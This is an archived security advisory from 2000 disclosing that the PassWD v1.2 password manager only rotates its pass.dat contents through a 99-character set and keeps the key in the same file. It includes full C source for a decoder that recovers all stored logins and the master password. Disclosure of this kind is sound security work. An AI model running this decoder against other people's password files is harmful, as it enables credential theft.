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TUCoPS :: Crypto :: passwdex.htm

PassWD v1.2 weak cipher decoding



Vulnerability

    PassWD

Affected

    PassWD v1.2

Description

    Daniel  Roethlisberger  found  following.   PassWD  is  a password
    managment  software  designed  to  store  all  the  users user and
    password combinations  along with  a site  URL.   Due to  the fact
    that PassWD  is being  spread by  well-known free/shareware distro
    sites such as  tucows.com, the community  should be aware  that it
    is very insecure.

    The documentation claims that PassWD employs encryption.  In  fact
    it uses  a very  weak coding  that can  easily be  decoded.  If an
    attacker can get hold of  the password file (usually this  will be
    pass.dat  in  PassWD's  directory,  which  can  be  found  in  the
    Registry), he  can easily  decode the  file and  thus retrieve the
    user/password combinations along with the matching links, and  the
    master password used to `protect' the password list.  Also this is
    very  easily  exploitable  by  malware  like  password   gathering
    trojans.

    PassWD stores  all the  sensitive data  in a  file usually  called
    pass.dat   (this   can   be   changed   in   PassWD's  INI  file).
    Unfortunately, it not only employs a very weak encoding algorithm,
    but it also hides  the key in the  same file.  This  key is purely
    random, and is in no way dependant on the master password.

    The key can take a value between 1 and 99, which shows the extreme
    weakness of the system.   The charset consisting of 99  characters
    is simply rotated by <key> positions.

    The below source code illustrates this.  It can be used to  decode
    any  given  PassWD  v1.2  `pass.dat'  file  to either stdout or an
    output file.

    /*
     *  Decoder for PassWD v1.2 `pass.dat' password files
     *
     *  Written 2000 by Daniel Roethlisberger <admin@roe.ch>
     *
     *  This code is hereby placed in the public domain.
     *  Use this code at your own risk for whatever you want.
     *
     *  The decoded data is not parsed in any way - it should
     *  be very easy to moderately experienced programmers
     *  to add that themselves.
     *
     */
    
    #include <stdio.h>
    
    void main(int argc, char *argv[])
    {
       unsigned char charpos;
       FILE* outfile;
       FILE* infile;
       unsigned char a;
       unsigned char b;
       unsigned char key;
       unsigned char x;
    
       unsigned char charset[] = "\b\t\n\r !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSPUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\b\t\n\r !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSPUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~";
    
       printf("\nDecoder for PassWD v1.2 `pass.dat' password files\n");
       printf("Written 2000 by Daniel Roethlisberger <admin@roe.ch>\n\n");
    
       if((argc > 3) || (argc < 2))
       {
          printf("Usage: %s <infile> [<outfile>]\n\n", argv[0]);
          printf("If <outfile> is omitted, the output is dumped to stdout.\n", argv[0]);
          return;
       }
    
       infile = fopen(argv[1], "r");
       if(infile == NULL)
       {
          printf("Could not open file %s\n", argv[1]);
          return;
       }
    
       if(argc == 2)
          outfile = stdout;
       else
       {
          outfile = fopen(argv[2], "w");
          if(outfile == NULL)
          {
             printf("Could not write to file %s\n", argv[2]);
             _fcloseall();
             return;
          }
       }
    
       getc(infile);       /* jump over decoy byte    */
       a = getc(infile);   /* read encoded key byte 1 */
       b = getc(infile);   /* read encoded key byte 2 */
    
       if(b == EOF)
       {
          printf("ERROR - encountered EOF within header\n");
          return;
       }
    
       /* this line `decodes' the key */
       key = (unsigned char)((a - 'b') * 10 + (b - 'b'));
    
       /* read through infile and dump decoded output to outfile: */
       x = getc(infile);
       while(!feof(infile))
       {
          for(charpos = 0; x != charset[charpos]; charpos++)
          {
             if(charpos > 99)
             {
                printf("\nERROR - encountered illegal character in source file\n");
                _fcloseall();
                return;
             }
          }
          /* plain = cypher - key */
          putc(charset[charpos + 99 - key], outfile);
          x = getc(infile);
       }
    
       if(argc == 2)
          printf("\n\n");
       printf("Done.\n");
    
       _fcloseall();
       return;
    }

Solution

    The author  of PassWD  is informed.   He is  informing  registered
    users of PassWD  and any distribution  sites offering PassWD  v1.2
    for download.  The author  is not developing PassWD v1.2  anymore.
    There will be no  patch or update available.   Instead there is  a
    successing  product  called  PassWD  2000,  which will be released
    shortly.  The  author claims that  it will employ  a better (real)
    encryption algorithm.

    One possible workaround is to install PassWD on an encrypted  hard
    disk (eg. using PGPdisk or ScramDisk).


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